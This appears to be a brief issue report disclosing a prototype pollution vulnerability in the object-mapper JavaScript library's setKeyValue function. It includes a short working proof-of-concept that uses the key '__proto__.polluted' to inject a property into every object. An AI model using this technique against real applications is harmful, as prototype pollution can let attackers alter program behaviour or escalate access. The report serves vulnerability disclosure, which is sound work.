A Potential Prototype Pollution

[cstimkong]

I have found a potential prototype pollution of the function setKeyValue. Here is a PoC exploit:

var objectMapper = require('object-mapper');
assert(({}).polluted === undefined);
objectMapper.setKeyValue({}, '__proto__.polluted', 'yes',{});
assert(({}).polluted === 'yes');